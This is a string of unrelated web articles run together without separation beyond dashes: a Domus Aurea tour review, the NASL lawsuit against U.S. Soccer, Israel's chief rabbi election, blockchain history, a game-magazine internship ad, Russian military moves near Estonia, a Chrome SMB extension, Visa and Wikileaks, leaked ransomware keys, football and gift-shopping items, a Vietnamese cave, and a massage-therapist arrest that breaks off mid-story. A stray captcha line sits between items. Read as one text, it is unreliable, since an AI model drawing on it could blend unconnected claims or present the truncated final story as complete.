some idea of the extent of the Domus Aurea’s opulence:  There were dining-rooms with fretted ceils of ivory, whose panels could turn and shower down flowers and were fitted with pipes for sprinkling the guests with perfumes. The main banquet hall was circular and constantly revolved day and night, like the heavens.  Although the perfume and petals disappeared long ago, the explanations of the guide help to bring the past to life, giving you a real sense of what the Domus Aurea must have been like.  Roma Experience  4. See Ancient Rome recreated right before your eyes  Before I went on my Domus Aurea tour I’d read something about the “3D reality experience”. I have to admit, I was slightly sceptical. I thought it sounded a bit gimmicky, and that it wouldn’t really add anything to the tour.  But I was wrong. For a start, these weren’t just glasses – there was a whole headset. Sitting in “the golden vault”, we put on our 3D headsets, and watched the bare walls and rubble transform into a luxurious, richly decorated chamber with a gilded ceiling and a view of a lush garden. All of a sudden, I was in a Rome where the Colosseum did not yet exist – where the site was still occupied by the vast artificial lake of the Domus Aurea – and where a 100 foot golden statue of Nero towered above the city.  A combination of the amazing graphics and the explanatory voice-over helped me to understand the geography of the ancient city. It’s not every day you get to stand in the gardens of an imperial palace and admire the views of Ancient Rome…  5. Help to preserve one of the most important archaeological sites in Rome  The remains of the Domus Aurea have been protected by the garden above it. But paradoxically, this garden is also contributing to its slow destruction. The weight of the earth is crushing the ceiling, the tree roots cracking through the walls, the water staining the frescoes. Before work can begin on the restoration of the artwork, the garden must be replaced with a lighter layer of earth, as well as a new drainage system.  How will this multi-million euro project be funded? Our guide explained that the survival of the Domus Aurea depends on its visitors. When you book a Domus Aurea tour, you’re directly contributing to the restoration of the archaeological site, preserving it for future generations.
-You must enter the characters with black color that stand out from the other characters  Yesterday, the North American Soccer League (NASL) announced it has filed a federal antitrust lawsuit against the U.S. Soccer Federation. The chain of events spawning this immediate legal action began on September 3 when the USSF Board of Directors voted to deny the NASL’s request for second-division professional league sanctioning in 2018. Last January, the USSF granted provisional second-division sanctioning to the NASL for the 2017 season.  North Carolina FC is a member of the NASL. The club declined official comment when contacted. However, sources close to NCFC tell WRALSportsFan that the club does not support the NASL's lawsuit.  In a statement, the NASL said that, “the USSF has violated federal antitrust laws through its anticompetitive 'Division' structure that divides men’s professional soccer for U.S.-based leagues based on arbitrary criteria that the USSF has manipulated to favor Major League Soccer (MLS), which is the commercial business partner of the USSF.” The league also alleges that “the USSF has selectively applied and waived its divisional criteria to suppress competition from the NASL, both against MLS and against United Soccer League (USL).”  U.S. Soccer has codified standards for men's and women's professional leagues at the first, second, and third division levels. Although the USSF has not spoken publicly regarding their denial of the NASL’s second-division sanctioning for next year, the NASL currently fails to meet at least two second-division requirements: a minimum of 12 teams in the league, and fielding teams in the Eastern, Central and Pacific time zones (the NASL does not presently have a club based in the Central time zone). According to the NASL’s complaint, the USSF denied the league’s request for waivers from these two requirements for 2018.  The NASL was the lone second-division U.S. men’s pro league from 2011-2016, after a group of USL team owners—including the then-owners of the Carolina RailHawks—split off to form the new NASL. Over that same time span, the USL remained the lone third-division men’s pro league. This year, the USSF granted provisional second-division sanctioning to both the NASL and USL.  While the USSF has denied the NASL second-division sanctioning for next year, it has yet to finally act on the USL’s second-division application for 2018. According to multiple sources, as well as the NASL’s lawsuit, the USSF board will consider and act upon USL’s application in early October.  The NASL’s 71-page antitrust lawsuit, filed in the U.S. District Court for the Eastern District of New York, seeks injunctive relief permitting the league to retain its second-division status pending the resolution of this action. Moreover, the complaint seeks a permanent injunction enjoining the USSF from promulgating or implementing professional league standards, declaring such actions a violation of the Sherman Antitrust Act.  Among its myriad of factual allegations, the NASL claims that the USSF has selectively adopted, amended, and implemented its professional league standards for the purpose of, in part, suppressing the NASL’s application for first-division sanctioning in 2015, and then denying the league full second-division sanctioning in 2017 and 2018. Meanwhile, the complaint alleges that the USSF has overlooked or granted waivers from various divisional guidelines to MLS and the USL in an effort to preserve MLS’ longstanding first-division status and, more recently, position the USL as the lone second-division professional soccer league.  United States professional soccer does not incorporate a system of club promotion and relegation between divisions, as is the case in most national soccer federations worldwide. The NASL complaint alleges that the divisional construct erected and administered by U.S. Soccer acts as an unlawful restraint on trade and competition.  This lawsuit by the NASL appears to place Malik in an peculiar position. Malik, as owner of the North Carolina FC, is a member of the NASL, LLC, the named plaintiff in this action. However, Malik is a member of the U.S. Soccer Board of Directors and owns the North Carolina Courage, a team in the National Women’s Soccer League, a league administered and largely funded by the USSF. Malik also has a pending application to bring a MLS expansion team in the Raleigh area. MLS is expected to announce their initial two expansion selections in early December, although those teams likely won’t begin play in MLS until 2020.  Moreover, after the USSF denied the NASL’s second-division sanctioning application earlier this month, North Carolina FC released a statement reinforcing not only its MLS bid, but also its aim of “playing at the highest level possible in 2018 and beyond,” language many observers interpreted as Malik’s desire to remain part of a second-division league next year, even if that means leaving the NASL to join the USL.
-Two sons of former chief rabbis were chosen to be chief rabbis of Israel on Wednesday night, ending months of speculation.  Yitzhak Yosef, the son of Shas spiritual leader Ovadia Yosef, was chosen as the next Sephardi chief rabbi, and Rabbi David Lau, the son of former chief rabbi Yisrael Meir Lau, was picked as the head of the Ashkenazi rabbinate.  Both candidates are seen as mainstream figures unlikely to rock the boat of the rabbinate or the Knesset. Lau beat out Rabbi David Stav, a professed free thinker with goals of pushing Israel’s rabbinate straight into the 21st century and Yosef won against Rabbi Shmuel Eliyahu, a hardliner supported by the national religious.  Get The Times of Israel's Daily Edition by email and never miss our top stories Free Sign Up  The chief rabbi was selected in a complex and opaque process by a committee made up of 150 rabbis, mayors, religious functionaries, and government appointees.  Lau’s black hat and legacy connections to ultra-Orthodox rabbis made him a more traditional choice than the knitted-kipa wearing Stav.  His father, Rabbi Yisrael Meir Lau, was known for his ability to connect with both Haredi Jews and the Modern Orthodox.  Lau thanked his father, who stood beside him during a Channel 10 interview, for the educational upbringing that contributed to his victory. He vowed to make the chief rabbinate a more “welcoming” institution, but refrained from specifying what reforms he would enact. When asked whether he would take steps to ease the conversion or marriage processes in Israel, he responded that under his leadership the religious authority would be “appropriate” and “continue tradition.”  The junior Lau, who is currently the chief rabbi of the religiously diverse city of Modiin, pledged the same sort of inclusiveness as his father. Stav, meanwhile, the current chief rabbi of Shoham, had been touted as a modern thinker who could bring about desperately needed change in the rabbinate.  “I represent all kinds of groups, and he represents only a group of the national-religious, this is the difference,” Lau told The New York Times on Sunday in a rare interview. “You need to think about a rabbi who can speak with the other rabbis, not fight with them. To speak is better than to fight, I think.”  On the Sephardi side, the win by Yosef will be seen as a boost for the Shas party. Yosef also beat rabbis Ratzon Arusi, considered a long shot, and Tzion Shalom Boaron, who had the support of current Chief Rabbi Shlomo Amar.  He scraped onto the official list thanks only to an eleventh-hour ruling by the Council of the Chief Rabbinate that extended his authorization to serve as a municipal rabbi, a shingle which all candidates must carry.  Yosef will replace Amar, who did his best, but failed, to finagle a new law that would have allowed him to stay on beyond his term’s 10-year limit.  Yosef’s challenger, Eliyahu, had his candidacy okayed Monday by the Supreme Court following a challenge by Meretz MK Isawi Frej, who submitted a petition claiming the rabbi had incited violence against Arabs and made racist comments in the past. The court said there was not enough time to consider the allegations.  Yosef won with 68 votes, Eliyahu got 49 votes and Boaron got 28.  On the Ashkenazi side, Lau garnered 68 votes, while Stav got 54 and Rabbi Yaakov Shapira 25.  Shapira was the dark horse to fill the Ashkenazi seat unceremoniously vacated by former Ashkenazi Chief Rabbi Yona Metzger, who stepped down last month in the wake of a massive fraud investigation.  Metzger, who has been accused of pocketing unspecified amounts of donor cash earmarked for NGOs, denies the allegations but nevertheless chose to take his exit early.  A fourth candidate, Rabbi Eliezer Igra, bowed out of the race after realizing his chances of winning were too slim.  Stav is the co-founder and chairman of Tzohar, an organization committed to helping couples maneuver the ultra-Orthodox rabbinate’s complicated maze of requirements on the path to religious marriage. He serves as the spiritual leader of Ma’aleh, a Jerusalem film school with a religious bent, and his contemporary, moderate take on Jewish life has led to a vicious backlash from more conservative sectors of society. A group of youths attacked him at a wedding in June, and that same month Shas spiritual leader Yosef labeled him “wicked” and “dangerous to Judaism.”  While Stav had been embraced by many Israelis weary of the ultra-Orthodox’s strict, iron-clad grip on Judaism, Lau said that his opponent’s platform of change was not something that should be supported.
-Many people across the technology and financial industries are dubbing blockchains as the greatest innovation since the Internet. However, a blockchain is comprised of a bunch of technologies that are actually pretty old. The biggest surprise when it comes to Bitcoin may be that it wasn’t invented a decade earlier using dial-up internet!  Most blockchains use the six major technologies below. In this post, we will examine each technology and explain the role they play in a blockchain.  Asymmetric Encryption  The magic of asymmetric encryption is that signatures accomplish the following:  Prove that the signer had access to the private key  Do not reveal the private key  Are trivial to verify, yet impossible to forge/alter  Bitcoin uses the secp256k1 parameters of the Elliptical Curve Digital Signing Algorithm (ECDSA). ECDSA was invented in 1985 and became an ISO, ANSI, IEEE and FIPS standard in 1998-2000. The major advantage ECDSA has over RSA is that ECDSA uses much smaller keys and signatures to achieve the same level of security. In other words, Bitcoin would have been possible with RSA... which was invented in 1977!  One of the main use cases for asymmetric encryption is public-key encryption. For example, Alice can encrypt a message using Bob’s known public key and send it to Bob over an untrusted network so that Bob can then decrypt the message using his private key. This feature of public/private key cryptosystems is not really used in Bitcoin.  Hash Functions  Hash functions take input data of arbitrary size and deterministically map it to an output of fixed size (typically smaller than the input size) that resembles random data. A key property of a hash function is collision resistance.  You may have noticed that each transaction and block in Bitcoin is represented by 64 hexadecimal characters. That’s because these “IDs” are calculated deterministically by serializing the transaction/block contents into bytes and then hashing those bytes (twice) using SHA-256. The result is the transaction/block hash.  This provides a convenient integrity check on transactions/blocks. Just as an asymmetric signature cannot be altered by a dishonest actor, the contents of a transaction/block cannot be tampered with due to collision resistance. This provides a very useful guarantee to all participants that their version of history is the same as all other participants on the blockchain. If two sources share the same current block hash, then they know they share every single input/output in every previous transaction/block.  Another use of hash functions in Bitcoin is that public keys are hashed in order to determine a Bitcoin address. This is a defensive protection against the future invention of a quantum computer that could break ECDSA (learn more here).  Bitcoin transaction/block hashes and merkle trees use two rounds of SHA-256, while address derivation uses two rounds of SHA-256 and one round of RIPEMD-160. SHA-256 was first published in 2001 and RIPEMD-160 was first published in 1994. Hash functions have been around a lot longer.  Merkle Trees  In order to package transactions into blocks, Bitcoin uses a Merkle Tree. This data structure takes a list of transactions and combines them using a binary tree structure, where the root node is called the Merkle Root. The killer feature of the Merkle Tree is that proof a leaf was included in the Merkle Root takes O(log(n)) space. Using this technique makes it possible to run a very secure Simple Payment Verification (SPV) bitcoin wallet on your phone without storing 100+ GBs of blockchain data.  The Merkle Tree was patented in 1979 and is used in distributed file systems like IPFS, file-sharing systems like BitTorrent and NoSQL databases like Cassandra.  Key-Value Database  In order to prevent double-spends (a key feature of a blockchain), you have to be able to quickly perform the following two database operations:  Lookup if a transaction has already been spent Insert a new valid transaction  While NoSQL databases have taken off in popularity in recent years (due primarily to their ability to handle extreme scale), it is important to remember that NoSQL databases actually pre-date relational databases.  Bitcoin originally launched with BerkeleyDB, which was released in 1994. dbm, the key-value store that inspired BerkeleyDB, was released in 1979.  P2P Communication Protocol  Having nodes communicate directly with one another (as opposed to using a trusted third-party) is unlike most applications we use on a daily basis. However, it isn’t new.  Napster’s 1999 release is probably the most commonly known P2P network, but USENET predates it by two decades.  The internet provides an excellent network for P2P protocols. Gossip Network Protocols have been used in many NoSQL Databases including Amazon Dynamo, Cassandra and Riak.  Proof of Work  Proof of work (PoW) is a clever application of hash functions. It works by calculating the hash of a message, along with many different nonces, until you find a resulting digest that meets a rare criteria. Since each hash is equally unlikely to meet that criteria, specifying a hard-to-meet criteria (perhaps a hash that starts with several leading 0s) is a way to prove that someone spent their CPU cycles. Also, a correct solution will be trivial to verify.  By using proof of work to achieve consensus, it becomes unfeasibly expensive to attack the Bitcoin blockchain. This is a cornerstone feature for a permissionless network built on anonymity and strong distrust of other participants.  Some people find PoW to be inefficient, since the Bitcoin network spends enormous computing resources doing work that has no other value.  PoW was first invented in 1993, but was made famous in 1997 by Adam Back’s Hashcash.  Evolution of Blockchain Technology  The fact that blockchains use old technologies should not be taken to mean that they represent solved problems or are easy to deploy. After all, it isn’t the technologies in a blockchain that make it useful, it’s the clever way in which they interact. Scale, privacy, security and fault tolerance are all hard problems in computer science. To make things more complicated, blockchains are typically used to handle mission-critical operations (such as settling financial transactions like we are doing at Paxos), where serious bugs may not be acceptable to end-users.  A modern blockchain must optimize tradeoffs while making as few sacrifices as possible, a difficult and delicate balancing act.  We are looking for talented engineers to help us revolutionize how assets move through the global financial system. Apply now to join our growing team in NYC!
-EGM Media, LLC is looking for editorial interns to join the team in Agoura Hills, CA. Have you ever dreamed of seeing your work in the pages of EGM? Are you a passionate, detail-oriented game enthusiast looking for an opportunity to strut your stuff? This could be your big break.  Job Responsibilities:  · Produce entertaining, authoritative editorial in a timely fashion.  · Transcription of audio and video interviews as needed.  · Help facilitate the production of video content, podcasts, and other collaborative multimedia.  · Proactively engage readers via social media (Facebook, Twitter, Google+, etc.).  Required Qualifications:  · Detail-oriented, efficient, proactive worker with a strong desire to learn.  · A shameless addiction to all things gaming.  · Thorough knowledge of the game industry.  · Ability to work out of EGM?s Agoura Hills, CA offices.  Pluses:  · Experience in game-related editorial as an intern, editor, or blogger.  · Lightning-fast typist (60-plus words per minute).  · Experience with video editing/production.  · Experience with podcast editing/production.  This internship is available immediately at up to 40 hours/week at $8/hr.  To apply, send a cover letter, resume, and at least three published or unpublished work samples that best represent your knowledge, voice, and passion for games to brandon@egmnow.net.
-With Zapad 2013, Russia's answer to NATO's Steadfast Jazz military exercise, continuing in parts east, ERR News profiles a piece that originally ran on February 13.  One year ago, Russia unveiled a new doctrine: then presidential candidate Vladimir Putin openly avowed an intention to radically expand and upgrade the Russian military. As of February 2013, the country continues to pursue the biggest military buildup in years in its western military district, which is flush up against Baltic borders and already easily the country's most powerful in conventional military terms.  These developments mark the culmination of a process going back to 2009, a crucial period in the year after the Russia-Georgia war. While the US pursued a "reset" in relations, Russia made changes in its laws on protecting its diaspora, and generals once known for eccentric pronouncements (General Nikolai Makarov's comment about Finland from last summer being a good recent example) moved into the inner circle of the Putin administration, where their language is increasingly indistinguishable from the official line, say experts.  Daily life in this part of the EU remains the same, of course, with relations on the external border said to be improving and the main concerns being issues like visa freedom, not the first batch of Iskander missiles that Russia installed in 2011. But government circles in Estonia have taken notice of the movements, such as Russia's improving capabilities for operations in places with developed road infrastructure, such as the Baltics. And there's the big geopolitical fact that Russia chooses to contain much bigger and more militaristic China using traditional nuclear deterrents while arming itself to the hilt against a bloc of democratic nation-states.  It's unclear how much NATO's own actions are driving the escalation, but only one side (Russia) has mentioned a "pre-war state," which has drawn a response. You can't miss the stories in the Estonian media about 10-year defense plans being revised, the emphasis on terms like "total defense" and "primary response" - both of these related to the crucial two days before NATO ground forces can arrive - and plans to increase the number of rapid response Defense Forces personnel to 21,000 and the number of reservists to 90,000 by 2022. The Ministry of Defense has ramped up its public relations efforts, sending out press releases about base renovations and such, all of which presumably is meant to have an added deterrent effect - it's not hard to imagine scenes from the Winter War and a deadly efficient, mobile and responsive Estonian army patrolling the forests and fields.  With a bit of a lag time, even the Latvians, who have been considered much more passive on national defense, are sitting up. Uudised.err.ee reported last week on concerns in their defense ministry over an increase in Russian air force activity. Prime Minister Valdis Dombrovskis, in delivering a national defense report to the country's parliament last week, said, no doubt speaking for many in the region: "We've noticed that in the last year, Russian military activity has increased in the Baltic Sea region - both at sea and from the air. It is important that the objectives of Russia's higher military power be transparent."  Gliding in for a landing  As candid as Putin's programmatic articles are, there may be more to transparency than a straight reading of speeches.  Vladimir Juškin of the Baltic Center for Russian Studies in Estonia is probably the local researcher who has shed the most light on - and through - what Estonia's big, not-technically-an-enemy but gruff bear of a neighbor really wants.  If there's one unit in the Russian military that you should be aware of, according to Juškin it's the VDV - the Airborne Troops - which has proud traditions. At its head is Lt. Gen. Vladimir Shamanov. Since Shamanov was appointed in 2009, a long-running theme in the Kremlin was Shamanov vs Serdyukov - the former pushing for restoring the VDV to its Soviet glory days while Defense Minister Anatoli Serdyukov argued for cutbacks.  Serdyukov resigned in November. In an interview with ERR News, Juškin relates the reaction, quoting a retired colonel: "On the floors and in the offices of the Ministry of Defense, the news of the resignation Serdyukov was accepted just as our fathers at the time accepted the news of the victory over Nazi Germany."  Remember Putin's flight of the cranes a bit earlier that year? It was widely lampooned as yet another macho feat by Putin, and took on a life of its own on Facebook. But it wasn't about taming the wild, says Juškin - it was really signals about military funding.  "When Vladimir Putin flew a motorized ultralight glider ahead of a small flock of cranes, it was called a presidential PR stunt," he says. "But for more insight, one should presumably refer to an interview given by Gen. Shamanov on February 24, 2012 where he complained that the VDV had a major shortage of motorized ultralights. I am sure the situation will now change."  Gliders are a focus of Russian military innovation.  In 2010, at a tactical exercise, a massive landing of spetsnaz units on controllable parachutes was staged. The units succeeded in traveling about 20-30 km after jumping out of the aircraft.  "Shamanov was not very happy - Israeli special forces can travel a distance of 40 km under similar conditions," says Juškin.  "It is 35 kilometers from Pskov to the Estonian border," Juškin adds.  Preparing for 'war with the West'  For a year now, the main theme in the Russian military doctrine has been a "prewar situation."  "It took just three years for the 'prewar state' meme to make it from a retired colonel’s interview to a speech delivered by the President to the Federal Assembly. There is a huge distance separating a retired colonel [Pavel Popovskikh] and the president of the country. But the mentality of two professional Soviet officers, if it is different at all, is only 25 millimeters," quips Juškin, referring to the distance between the little stars on the uniforms of high-ranking officers.  In a piece written for the magazine Maailma Vaade late last year, Juškin identified the key events in the development of the "prewar" theme during the 2009-2012 period. The following are excerpts:  May 2009 - the "prewar meme" is first articulated by Pavel Popovskikh, a head of intelligence for the VDV in the 1990s: "The situation is a prewar state. The NATO bloc is on Russia’s borders in the Baltics, Poland and the Czech Republic and has only become stronger in the last few decades. They are making active preparations for war with Russia. [...] The war, for which the army must be prepared, will start with special operations by special forces, and it is not ruled out that such operations will become its main activities.”  27 May 2009 - Lt. Gen. Vladimir Shamanov is appointed commander in chief of the VDV. Famously, in accepting his appointment he demands that Anatoli Serdyukov’s programme for reductions in the VDV be changed. Furthermore, the airborne forces are increased by one attack squad in the Moscow military district and the a third airborne regiment is formed in the Pskov 76th division of the VDV.  September 2009 - Operational and strategic exercises “Zapad 2009” are held. The premise was that the Polish army (though pseudonyms were actually used in the exercise) had invaded Belarus in a territorial dispute; altruistically the Russian army rushes to the victim’s assistance. The scope of the exercise was 1,500 kilometers, from Belarus to the Barents Sea, and it ranged over 300 kilometers from east to west.  30 October 2009 - President Dmitri Medvedev introduces amendments to Section 10 of the federal Defense Act. It allows the formations of the armed forces to be used for operations outside Russian territory in four cases.  1. Repelling an attack on Russian Federation armed forces abroad.  2. Repelling or pre-empting aggression against another country (if requested by that country).  3. Protection of Russian Federation citizens abroad.  4. Fighting piracy.  Under the legislation, use of the army is decided by the president, but the Federation Council must within two days (i.e. ex post facto) approve the decision.  A “Baltic support area” is legally specified as a place where the army can be introduced (for protecting Russian Federation citizens).  18 December 2009 - Shamanov says in an interview: “By 2015, there will be 21 tactical groups in NATO’s rapid response forces, each one with up to 1,500 men. The NATO tactical group is roughly analogous to a Russian airborne regiment. Considering the size of the VDV and units and the squads under the command of the military region, the Russian armed forces have total parity with the NATO - 1:1. Thus our current concern is not sheer numbers, but the equipping the units with modern weapons and vehicles. [...] To significantly increase the army’s mobility, 15-20 percent of the airborne’s armored vehicles are on wheels. In places where there is developed road infrastructure, wheels are to be preferred over caterpillar treads.”  3 May 2012 - General Staff commander Nikolai Makarov says at a missile defense conference in Moscow: “Russia can pre-emptively attack NATO’s European missile defense systems.” Thereafter experts started talking about GRU spetznaz that was said to have been formed for this purpose. But the discussion was quickly hushed up.  Two days later, in Helsinki, Makarov says that cooperation between Finland and NATO is a threat to Russian security. He shows a map where the boundary between the zones of interest of Russia and NATO passes through the Baltic Sea and the Gulf of Bothnia. That would mean Finland and the Baltics would be in Russia’s strategic interest zone.  Mid-July 2012 - Col. Gen. Vladimir Tchirkin, commander in chief of the army, announced that the Defense Ministry had decided to put a large part of the armored vehicles on wheels instead of caterpillar treads. This meant that artillery, zenithal missile batteries and zenithal equipment as well as light tanks would be transitioned to wheeled systems.  August and September 2012 - Joint exercises of units from the Western Military District and the VDV were held. "Estonia would be wise to pay attention to two particularities of these exercises," wrote Juškin. "First of all, tactical helicopter paratroop landings. From this year on, such landings are practiced at all military exercises. Second of all, for the first time, Western Military District intelligence and reconnaissance staff began to be trained using a new methodology. Officers and instructors who have combat experience in the previous decades in local armed conflicts are now teaching the military to operate in behind enemy lines and to make independent decisions if they are not in contact with the CinC staff."  8 August - Vladimir Putin announced that long before the conflict in South Ossetia, Russia had prepared a special plan that was used as the blueprint in August 2008. He said the plan was put in place in late 2006 or early 2007 by the General Staff and approved by himself.  The logical future  Could a similar plan already be in place for the Baltics?  In a way, Juškin says, it is. "Does the Russian General Staff have a special plan for protecting Russian citizens abroad if needed? Certainly," he wrote. "Not for nothing did Dmitri Medvedev organize an expanded meeting on security issues on May 11, 2011, where he assigned the task of developing an algorithm for protecting Russian citizens in case of an extraordinary situation."  "Still, the current situation is unfolding along the lines of the main (peaceful) scenario, which has an historical analogue" in 1930s Finland. "The best scenario for the Kremlin would be the rise to power in Estonia of a political party loyal to Moscow."  There is also a worst-case scenario, says Juškin, though he is quick to caution no "fuse" has been found. There would be four acts to this play, as he sees it. And the last act stars the VDV.  1. An operation is launched to destabilize the socioeconomic or international situation in a region with a compact Russian-speaking population, with many Russian citizens. Such a region might be Narva, Estonia or Crimea, Ukraine.  2. Widespread demonstrations among the Russian speaking community would take place, led by professional provocateurs.  3. In response, the government uses force against the demonstrators.  4. A landing of paratroopers would be mounted under the guise of a peacekeeping operation.  In the interview with ERR News, Juškin seemed less alarmist, and balanced his comments by noting that Russia is cash-strapped and facing the same obstacles to military funding as other European countries. Still, the emphasis on limited special forces operations is a "danger," he said.  "Serdyukov's resignation suggests that dissatisfaction of the generals with the current military reform had come to a dangerous point," he said.
-A new Chrome extension finally brings native Samba share support to Chromebooks and other Chrome OS devices.  The free add-on allows SMB and CIFS file systems to be mounted and accessed directly through the Chrome OS File Manager app.  Remote files and folders can be opened, edited and deleted through the file manager as both read and write support is fully baked in.  LM, LMv2, NTLM and NTLMv2 authentication protocols are supported. Authentication by domain is not supported, neither are encrypted network shares, NetBIOS over TCP and anything that isn’t using a unicode character set.  Accessing network file shares and third-party cloud storage services is increasingly easy in Chrome OS. Dropbox, One Drive and Box are supported, as are SFTP and WebDav shares.  The Chrome File System Provider API is to thank. This API allows pretty much any network file system to be integrated into the Chrome OS file manager.  Install SMB/CIFS File System Provider from Chrome Web Store
-Image caption Visa says it is to carry out a review of Wikileaks  Visa Europe has begun suspending payments to whistle-blowing website Wikileaks ahead of carrying out an investigation into the organisation.  It follows a similar move by rival payments processor Mastercard on Tuesday.  Visa's announcement comes after Wikileaks' founder Julian Assange was arrested by police in London.  Mr Assange, whose website has published secret documents, is wanted in Sweden on sexual assault allegations.  Wikileaks relies on online donations to fund its operations, which will now not be possible using both Visa and Mastercard debit and credit cards.  A spokeswoman for Visa Europe said its investigation would determine the nature of Wikileaks' business, and "whether it contravenes Visa operating rules".  She added that Visa Europe could not suspend payments to Wikileaks immediately, and that the process took a certain amount of time.  Mastercard said in its statement that it was "in the process of working to suspend the acceptance of Mastercard cards on Wikileaks until the situation is resolved".  Online payment firm PayPal and internet giant Amazon have also cut their links with Wikileaks in recent days.
-Aside from the efforts of security researchers and antivirus companies, malware victims can sometimes also benefit from the fighting between rival cybercriminal groups.  That happened this week when the creators of the Petya and Mischa ransomware programs leaked about 3,500 RSA private keys allegedly corresponding to systems infected with Chimera, another ransomware application.  In a post Tuesday on Pastebin, Mischa's developers claimed that earlier this year they got access to big parts of the development system used by Chimera's creators.  As a result of that hack, they obtained the source code for Chimera and integrated some of it into their own ransomware project, according to the Pastebin message.  This had already been confirmed by researchers from Malwarebytes, who reported last month that Mischa shares some components with Chimera.  There's no confirmation yet that the newly leaked RSA keys actually work to decrypt files affected by Chimera, but there's a big chance that they're legitimate.  "Checking if the keys are authentic and writing a decryptor will take some time – but if you are a victim of Chimera, please don’t delete your encrypted files, because there is a hope that soon you can get your data back," the Malwarebytes researchers said Tuesday in a blog post.  The Chimera ransomware program appeared in November and stood out because it threatened to leak users files on the internet in addition to encrypting them if they didn't pay up. There's no evidence its creators actually delivered on this threat and it was most likely intended as an intimidation tactic to increase the chance that victims will pay.  Mischa, on the other hand, is a newer threat. It first appeared in May and is typically bundled with another ransomware program, called Petya, that encrypts the master file table (MFT) of hard disk drives.  Since Petya's form of encryption requires admin access, Mischa is used as a backup when the needed privileges cannot be obtained. Mischa acts like most other ransomware programs, encrypting the victim's files directly.  Also on Tuesday, Petya and Mischa's creators launched an affiliate system, essentially turning their malware combo into ransomware as a service. This means other cybercriminals can now sign up to distribute these malicious programs for a portion of the profits.  "Unfortunately, this will most likely lead to a greater amount of distribution campaigns for this ransomware," said Lawrence Abrams, the founder of tech support forum BleepingComputer.com, in a blog post.
-Joe Hart: On the bench for City's past four games  Hart was dropped for Costel Pantilimon after a defeat at Chelsea last month and has sat out City's past four games.  The goalkeeper started for England against Germany in midweek and kept the score down to 1-0 with several eye-catching saves.  Pellegrini was impressed but, pressed for answers ahead of Sunday's Sky live game against Spurs at the Etihad Stadium, suggested that Hart would remain among the City substitutes.  He said: "I can't continue to always answer about Hart and Pantilimon.  "Both are very good goalkeepers. Now we are playing Pantilimon, so Hart must wait.  "We'll see what happens in the future. With all the players in the squad - not only the keepers - I have to choose the final starting 11 each week.  "We'll see - it depends on the performance of him and the performance of Pantilimon also."  Continuing to discuss Hart, he added: "It was very important for him to play with England. It was an important game for England against Germany, it is a good test. I think he did very well."  Pellegrini was asked to explain his suggestion earlier this week Hart would benefit from a run out of the side.  He said: "He played the last two and a half years all the games in the Premier League. All the players are human and can have a bad moment."  The Chilean also stressed that he has confidence in Pantilimon, adding: "If I was worried about him, he would not be here. We'd have changed him at the beginning of the year.  "He remains here because he is a good keeper as well."  City go into the weekend with an injury list still including David Silva and captain Vincent Kompany, who has lost his fight to be fit for the Spurs game.  "Vincent is still working," continued Pellegrini, "recovering from his last injury. Maybe the next week he will work with the whole team."  Given the amount of time Kompany has spent out with muscle problems in the past two years, Pellegrini was repeatedly asked whether the matter was a serious concern.  "Of course," he said. "He is a very important player for the team but when we started the season we had a squad which would help us if this happened.  "We have other centre-backs who are playing at the moment but Vincent is always an important player.  "We are doing all the things we need to understand why he has so many injuries. I'm not a doctor. I talk with him but I can't tell you the opinion."  Watch Manchester City v Tottenham on Sky Sports 1 this Sunday. Coverage begins at 12.30pm.
-Some guys might like this too, but for some (totally not PC) reason I thought that most of these things would generally be more appealing for females, rather than males.  11 Unique gifts that some girls may find interesting.  11 Unique gift ideas for girls – s'il vous plait.  Kitty nail stickers  Price: $0.47  A mere $0.54 get you 2 sheets, 20 stickers on each sheet.  Purchase link: http://ali.ski/5_sQsm  Pacman earrings  Price: $1.13  These Pacman earrings come in either gold or silver color. Waka-waka-waka!  Purchase link: http://ali.ski/bXKFZg  Unicorn ring  Price: $0.82  There are 5 different color options.  Purchase link: http://ali.ski/OIysV3  Kitty coin purses  Price: $1.39  There are 5 different designs to pick from.  Purchase link: http://ali.ski/0l-Cp  Totoro / etc. hand warmers  Price: $7.99  8 Different critter designs.  Purchase link: http://ali.ski/v6kDzP  Tweezers with an LED light  Price: $0.99  Purchase link: http://ali.ski/aqZEcq  LED USB nail polish dryer  Price: $18.99 – 24.99  Purchase link: http://ali.ski/hqr7s  Peeling assistant for nails  Price: $3.19  Apply to the edge of fingers sparingly, let it dry, peel it off when it is fully dried. Helps to avoid painting outside of the nails.  Check it out here: http://ali.ski/RiF7P  Sheer tights that don’t run  Price: $3.32  Sheer tights that don't run – quite magical! They come in 4 different color options.  Check them out here: http://ali.ski/fSibY  Ice cream clutch  Price: $13.20  Purchase link: http://ali.ski/b0VBt  P.S.: If you need more gift ideas, check out this collection from AliExpress.  If you are interested in more clothing, check out our Fashion section.  Also, our /r/AliexpressFashion subreddit has daily updates.  Subscribe in the form below, or via RSS.  Cheers!
-It’s been there for millions of years, and we never even noticed it.  Back in 1991, a farmer came across a cave in Phon Nha-Ke Bang National Park that was previously left unexplored. When the sound of water roaring inside the cave was audible, the farmer decided not to proceed further as he was scared. The locales named this cave as Son Doong. However, no one had the guts to go and explore the cave until 2009, when a group of scientists from Britain led by Howard Limbert came across the cave once again and he decided to explore it. He realized that it is a world that is contained in itself and is 5km long and 150 meters wide. Also, it was discovered that Son Doong was the largest cave on Earth.  It has its own vegetation, animals, lakes and clouds. Check out more pictures of the cave.  Entering the cave involves an 80 meters descent using rope.  A fast flowing river inside the cave.  There are small, emerald-coloured lakes, and even beaches.  It has abundance of stalactites and fossils.  Stalagmites of up to 70 meters have been found here.  A thick jungle inside the cave that also is home to animals.  The climate inside the cave is also different, all thanks to the clouds inside it.  Photo credit: flickr
-Police have arrested a Franklin man for allegedly groping and fondling women when he was supposed to be giving them massages.  Ryan Farmer, 24, is facing three counts of misdemeanor battery.  Investigators say the allegations involve three women who have never met, but shared similar stories of what they say happened at CMG Family Wellness.  According to the charging documents, the first allegation came from an 18-year-old woman this past March. That woman told investigators her massage with Farmer started out fine, but in the last 15 minutes "things became uncomfortable."  That's when she says Farmer fondled her breast for several minutes. The woman told police she didn't stop Farmer because it was her first massage and she didn't know if this was something normally done.  When the massage was over, the woman says Farmer told her, "This stays between you and I."  The second alleged victim came forward in May, saying she had had other massages with Farmer in the past that went fine.  This time, though, at the end of the session, the woman says Farmer groped her breasts and that "the touching of her breasts seemed sexual, not at all like he touched her back, neck, shoulder, etc."  That woman says she didn't speak up fearing Farmer would "do something to hurt her."  The third woman, according to court documents, had an appointment right after the second alleged victim. She told investigators Farmer groped her breasts. Court documents show the woman told investigators "that what Ryan was doing seemed like foreplay."  CMG Family Wellness issued the following statement to Eyewitness News Wednesday afternoon:  